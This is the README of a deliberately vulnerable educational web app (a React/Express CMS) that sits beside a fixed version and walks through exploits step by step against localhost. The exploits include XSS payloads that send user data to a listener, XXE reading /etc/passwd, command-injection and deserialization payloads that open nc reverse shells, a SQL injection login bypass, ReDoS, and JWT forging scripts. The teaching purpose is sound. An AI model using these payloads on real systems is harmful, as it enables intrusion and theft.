A simple React + Express web application for demonstrating main web vulnerabilities.
This web application is a simple content management system (CMS) that allows a registered user to add pages (articles) which can be seen by other users. There are two sections:
- Front-office: this section can be seen by all users, logged-in or not.
- Back-office: this section can only be seen by registered users. It can be considered as a sort of control panel where users can add, edit or delete pages.
Each page, depending on its publication date, can be:
- Published: the page is visible in both the front-office and the back-office.
- Scheduled: the page's publication is scheduled to a later date, before which the page is visible only in the back-office.
- Draft: the page is visible only in the back-office, without a scheduled publication.
Pages have a title, a publication date and are made of multiple blocks. Blocks can be either headers, paragraphs or images.
/
│
├── exploit/ -- Contains scripts and extra material used for various exploits.
|
├── secure/ -- Contains the fixed version of the application, where the exploits listed below should not work.
│ ├── client/ -- Front-end managed by React, contains all application components plus the api.js file to contact the back-end
│ ├── httpsCert/ -- Contains the self signed certificate and the private key associated with the certificate
│ └── server/ -- It contains the back-end of the application, managed by nodejs and Express.
|
├── vulnerable/ -- Contains the vulnerable version of the application, where all the exploits listed below are working.
│ ├── client/ -- Front-end managed by React, contains all application components plus the api.js file to contact the back-end
│ └── server/ -- Contains the back-end of the application, managed by nodejs and Express.
|
└── README.md
The following commands should be run in four separate terminals, from the root of the project:
# Terminal 1 - Run the front-end server of the vulnerable application in development mode
cd vulnerable/client
npm install
npm run dev
# Terminal 2 - Run the back-end of the vulnerable application
cd vulnerable/server
npm install
node index.js
# Terminal 3 - Run the front-end server of the fixed application in development mode
cd secure/client
npm install
npm run dev
# Terminal 4 - Run the back-end of the fixed application
cd secure/server
npm install
node index.js
There should be multiple servers listening on separate ports:
- The vulnerable front-end (port
5173
) - The vulnerable back-end/API HTTP server (port
3001
) - The secure front-end (port
5174
) - The secure back-end/API HTTP server (port
3002
) - The secure back-end/API HTTPS server (port
8081
)
Vulnerable version users:
username | password | admin |
---|---|---|
mario@example.org | password | true |
luigi@example.org | password | false |
sofia@example.org | password | false |
giulia@example.org | password | false |
Secure version users:
username | password | admin |
---|---|---|
mario@example.org | password! | true |
luigi@example.org | password! | false |
sofia@example.org | password! | false |
giulia@example.org | password! | false |
- Visit
localhost:517*/#
(*
is either 3 or 4, depending on whether you're visiting the vulnerable or the secure version) - Input the correct credentials
- Click on "Login" or press Enter.
- Send the following HTTP request to the API server:
Of course, substitute
POST /api/sessions HTTP/1.1 Host: localhost:3001 Content-Type: application/json { "username": "<username>", "password": "<password>" }
<username>
and<password>
with the desired credentials. - The server will send you an
access_token
as a cookie. This will be used for all subsequent requests. Usually, this cookie will be used automatically by the software used for sending the requests.
This section includes step-by-step guides for executing each exploit. For a more detailed view of the exploits, the reasons they work and the relative fixes, refer to the PDF report.
All exploits will be assumed to be run from the vulnerable version of the application. The steps for the fixed version are the same, but be careful of the ports inside the links and the HTTP requests.
CWE-79: Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting", XSS) - Stored
- Use
netcat
to create a service listening on port 4242 of the attacker's machine by executing this short shell script:Note: To stop this service from listening, you must close the terminal. CTRL+C does not work.while true; do nc -lvp 4242; echo '\n'; done
- Log-in as an existing user from the Web interface.
- Click the "New page" button on the back-end to add a new page.
- Insert a title and a header block with any content.
- Insert a paragraph block, containing the following HTML tag for a simple alert to appear:
or, alternatively, insert the following tag for the victim to send a request to the attacker's machine (
<img src="" onerror="alert('pwned')">
localhost
in this case) on port 4242 withfetch
:<img src="" onerror="fetch('http://localhost:4242',{method:'POST',body:'Some information'})">
- Publish the article and view it.
- For the
fetch
request, look at the attacker's shell running thenetcat
service.
CWE-79: Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting", XSS) - DOM
- Log-in as an existing user from the Web interface.
- Click the "New page" button on the back-end to add a new page.
- Insert a title and a header block with any content.
- Insert a paragraph block, containing any of the HTML tags shown in the CWE-79 (Stored) section.
- Click the "Show Preview" button.
CWE-79: Improper Neutralization of Input During Web Page Generation ("Cross-site Scripting", XSS) - Reflected
-
Visit one of the following URLs:
-
This will show a simple alert:
http://localhost:5173/front?search=%3Cimg+src%3D%22%22+onerror%3D%22alert%28%27pwned%27%29%22%3E
-
This will send a request to the attacker's machine at port 4242:
http://localhost:5173/front?search=%3Cimg+src%3D%22%22+onerror%3D%22fetch%28%27http%3A%2F%2Flocalhost%3A4242%27%2C%7Bmethod%3A%27POST%27%2Cbody%3A%27Some+information%27%7D%29%22%3E
-
- Execute any one of the previous XSS exploits using the following HTML tag:
If the Reflected variant of XSS is used, the URL is the following:
<img src="" onerror="fetch('http://localhost:4242',{method:'POST',body:'User ID:'+localStorage.getItem('userID')+', Name: '+localStorage.getItem('name')+', Mail:'+localStorage.getItem('username')})">
http://localhost:5173/back?search=%3Cimg+src%3D%22%22+onerror%3D%22fetch%28%27http%3A%2F%2Flocalhost%3A4242%27%2C%7Bmethod%3A%27POST%27%2Cbody%3A%27User+ID%3A+%27%2BlocalStorage.getItem%28%27userID%27%29%2B%27%2C+Name%3A+%27%2BlocalStorage.getItem%28%27name%27%29%2B%27%2C+Mail%3A+%27%2BlocalStorage.getItem%28%27username%27%29%7D%29%22%3E
- In the front-office, inspect the link to a page. An example of a URL is the following:
http://localhost:3001/api/pageclick?redirect=http%3A%2F%2Flocalhost%3A5173%2Fpages%2F1
- Change the
redirect
parameter to any desired location, for example:http://localhost:3001/api/pageclick?redirect=https%3A%2F%2Fgoogle.com
- Log-in as an existing user from the API.
- Send the following HTTP request to the API server:
POST /api/pages HTTP/1.1 Host: localhost:3001 Content-Type: text/xml <?xml version='1.0'?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <page title="Exploit" publicationDate="2024-01-01"> <block type="header">Here's the server's /etc/passwd</block> <block type="paragraph">&xxe;</block> </page>
It is recommended to have a local running HTTP server on the victim's server and assume that it cannot be accessible from the outside to better understand this attack. The following Docker command runs a simple HTTP web server on port 8080:
docker run -p 8080:80 salb98/svt-local-webserver
Its structure is very simple:
/
│
├── images/
│ └── secret.png
└── index.html
Scan the server's open ports:
- Run the Python script present in the
exploit
directory. You can do this by typing the following command from the root of the repository:python exploit/portscan.py
- Wait a few seconds, until the script has finished its execution. A possible output is the following:
Port 5173 is active! Port 8080 is active!
Download an image from the local server:
- Log-in as an existing user from the Web interface..
- Click the "New page" button on the back-end to add a new page.
- Insert a title and a header block.
- Add an image block, set it to "Upload a new image" and "Download from an external URL", then input any file name and the following URL:
http://localhost:8080/images/secret.png
- Use
netcat
to create a service listening on port 4242 of the attacker's machine by executing this short shell script:Note: To stop this service from listening, you must close the terminal. CTRL+C does not work.while true; do nc -lvp 4242; echo '\n'; done
- Log-in as an existing user from the Web interface.
- Click the "New page" button on the back-end to add a new page.
- Insert a title and a header block.
- Add an image block, set it to "Existing image" and then input the following string in the search query to show the contents of the server's
/etc/passwd
file:Alternatively, input the following string to spawn a reverse shell:";cat${IFS%??}/etc/passwd;echo${IFS%??}-n${IFS%??}"
";nc${IFS%??}-e${IFS%??}/bin/bash${IFS%??}127.0.0.1${IFS%??}4242;echo${IFS%??}"
- For the reverse shell, input any shell command in the attacker's terminal running the
netcat
service.
- Log-in as an existing user from the Web interface.
- Click the "New page" button on the back-end to add a new page.
- Insert a title and a header block.
- Add an image block, set it to "Upload a new image" and either "Upload a file" or "Download from an external URL", then input any image/URL and set the file name to
../../../outside
. - Look at the repository's contents. The image should have been saved in the repository's root.
Show the contents of the root folder in the API server's logs:
- Log-in as an existing user from the API.
- Send the following HTTP request to the API server:
POST /api/pages HTTP/1.1 Host: localhost:3001 Content-Type: text/xml <?xml version='1.0'?> <page title="Exploit" author='2' publicationDate=''> <block type='header'>Deserialize THIS</block> <!-- {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()"} --> <block type='image'>eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2xzIC8nLCBmdW5jdGlvbihlcnJvciwgc3Rkb3V0LCBzdGRlcnIpIHsgY29uc29sZS5sb2coc3Rkb3V0KSB9KTt9KCkifQ==</block> </page>
- Look at the API server's logs inside the terminal.
Spawn a reverse shell:
- Use
netcat
to create a service listening on port 4242 of the attacker's machine by executing this short shell script:Note: To stop this service from listening, you must close the terminal. CTRL+C does not work.while true; do nc -lvp 4242; echo '\n'; done
- Log-in as an existing user from the API.
- Send the following HTTP request to the API server:
POST /api/pages HTTP/1.1 Host: localhost:3001 Content-Type: text/xml <?xml version='1.0'?> <page title="Exploit" author='2' publicationDate=''> <block type='header'>Deserialize THIS</block> <!-- {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('nc -e /bin/bash 127.0.0.1 4242')}()"} --> <block type='image'>eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ25jIC1lIC9iaW4vYmFzaCAxMjcuMC4wLjEgNDI0MicpfSgpIn0=</block> </page>
- Input any shell command in the attacker's terminal running the
netcat
service.
- Send a POST request to
http://localhost:3001/api/register
like this one :POST /api/register HTTP/1.1 Host: localhost:3001 Content-Type: application/json { "name": "^(([a-z])+.)+[A-Z]([a-z])+$", "username": "prova9@example.org", "password":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!!", "admin": false }
- We can now see that the server will not respond to our request or any future ones. the only way to resume normal operation is to shut down and restart the server from the command line.
- Send a POST request to
http://localhost:3001/api/register
like this one :POST /api/register HTTP/1.1 Host: localhost:3001 Content-Type: application/json { "name": "test", "username": "test@example.org", "password": "password", "admin": true }
- The server will create a new account by registering it as admin.
- Get the password hash, in this case trivially by looking at the database
- Use tools such as hashcat to recover the original password.
- Download a list of known passwords such as in this case rockyou.txt and save the hash password in a file like passHash.txt. Run the following command to implement a dictionary attack:
hashcat -m 0 -a 0 passHash.txt rockyou.txt
- You should get an output like this:
Dictionary cache built : * Filename ..: rockyou . txt * Passwords .: 14344391 * Bytes .....: 139921497 * Keyspace ..: 14344384 * Runtime ...: 1 sec 5 f4dcc3b5aa765d61d8327deb882cf99 : password Session ..........: hashcat Status ...........: Cracked Hash . Mode ........: 0 ( MD5 ) Hash . Target ......: 5 f4dcc3b5aa765d61d8327deb882cf99 Time . Started .....: Mon Feb 12 17:20:21 2024 (0 secs ) Time . Estimated ...: Mon Feb 12 17:20:21 2024 (0 secs ) Kernel . Feature ...: Pure Kernel Guess . Base .......: File ( rockyou . txt ) Guess . Queue ......: 1/1 (100.00%) Speed .#1.........: 33671.1 kH / s (1.76 ms ) @ Accel :1024 Loops :1 Thr :32 Vec :1 Recovered ........: 1/1 (100.00%) Digests ( total ) , 1/1 (100.00%) Digests ( new ) Progress .........: 196608/14344384 (1.37%) Rejected .........: 0/196608 (0.00%) Restore . Point ....: 0/14344384 (0.00%) Restore . Sub .#1...: Salt :0 Amplifier :0 -1 Iteration :0 -1 Candidate . Engine .: Device Generator Candidates .#1....: 123456 -> piggy ! Hardware . Mon .#1..: Temp : 42 c Util : 0% Core :1645 MHz Mem :3504 MHz Bus :16
- Do a POST request to
http://localhost:3001/api/session
like this one or insert this credentials in the browser :POST /api/sessions HTTP/1.1 Host: localhost:3001 Content-Type: application/json { "username": "mario@example.org' --", "password": "UknownPassword" }
- By exploiting the comment operation you manage to avoid the password check, getting the correct credentials in output.
HTTP/1.1 200 OK [...] access_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwidXNlcm5hbWUiOiJtYXJpb0BleGFtcGxlLm9yZyIsIm5hbWUiOiJNYXJpbyIsImFkbWluIjoxLCJpYXQiOjE3MDc4MjU2ODh9.; Max-Age=604800;Path=/;Expires=Tue, 20 Feb 2024 12:01:28 GMT; HttpOnly [...] { "id": 1 , "username": "mario@example.org", "name": "Mario", "admin": 1 }
- By getting the jwt secret easily from the source code you can use a script like this to sign the data you want to put in the token and pass the token verification:
const jwt = require (' jsonwebtoken ') ; const jwtSecret = " mydfs68jlk5620jds7akl8m127a8sdh168hj "; const obj ={ id: 9, name: "Test", username: "test@example.org", admin: 1, } const token = jwt.sign(obj, jwtSecret, { algorithm: "none" }); console.log(token)
- Now that you have obtained the token you just enter it in in the cookie section of the front-end or enter it in a POST request to get the logged in user/admin priveleges.
- In the cookie section insert "access_token" in the name field and the token received in the value field.
- Since the token is simply encoded in base64URL just decode it to get the information inside. This information can be exploited by an attacker for a future attack.Use this simple script to get the information within it :
const token ='eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MiwidXNlcm5hbWUiOiJsdWlnaUBleGFtcGxlLm9yZyIsIm5hbWUiOiJMdWlnaSIsImFkbWluIjowLCJpYXQiOjE3MDc4NTg4MDN9.'; const separatedToken = token.split('.') for (let index = 0; index < separatedToken.length; index ++) { const element = separatedToken[index]; // Decode base64 const decodedBuffer = Buffer.from(element, 'base64') ; console.log(decodedBuffer.toString('utf8')) ; }
- The output would be :
{"alg": "none", "typ": "JWT"} {"id": 2, "username": "luigi@example.org", "name": "Luigi","admin": 0, "iat": 1707858803}
-
Retrieve the token from the cookie section of your browser
-
Use this script to modify the information inside your token
const jwt = require('jsonwebtoken'); const readline = require('readline'); const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); let oldToken; rl.question('Insert the token: ', (inputString) => { console.log(`Token: ${inputString}`); oldToken = inputString; rl.close(); handleToken(); }); function handleToken() { const separatedToken = oldToken.split('.') const header = separatedToken[0]; const payload = separatedToken[1]; const decodedPayload = Buffer.from(payload, 'base64'); const modifiedPayload= decodedPayload.toString('utf8').replace("0","1"); console.log(modifiedPayload) const payloadBase64 = Buffer.from(modifiedPayload).toString('base64'); const newToken = header+"."+payloadBase64 console.log("New Token:", newToken.replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ".")) }
-
Now that you have obtained the modified token, do a log out , replace it with the original token by placing it in the cookie section and reload the page.
-
In the log in function there is a console.trace(err) that in case of an error reports all the path following the error. If by chance there should be an internal system error, we can simulate it by simply changing the name of the database, the attacker receives this error.
-
This disclosure of information certainly helps the attacker to exploit the CWE-89 SQL Injection vulnerability.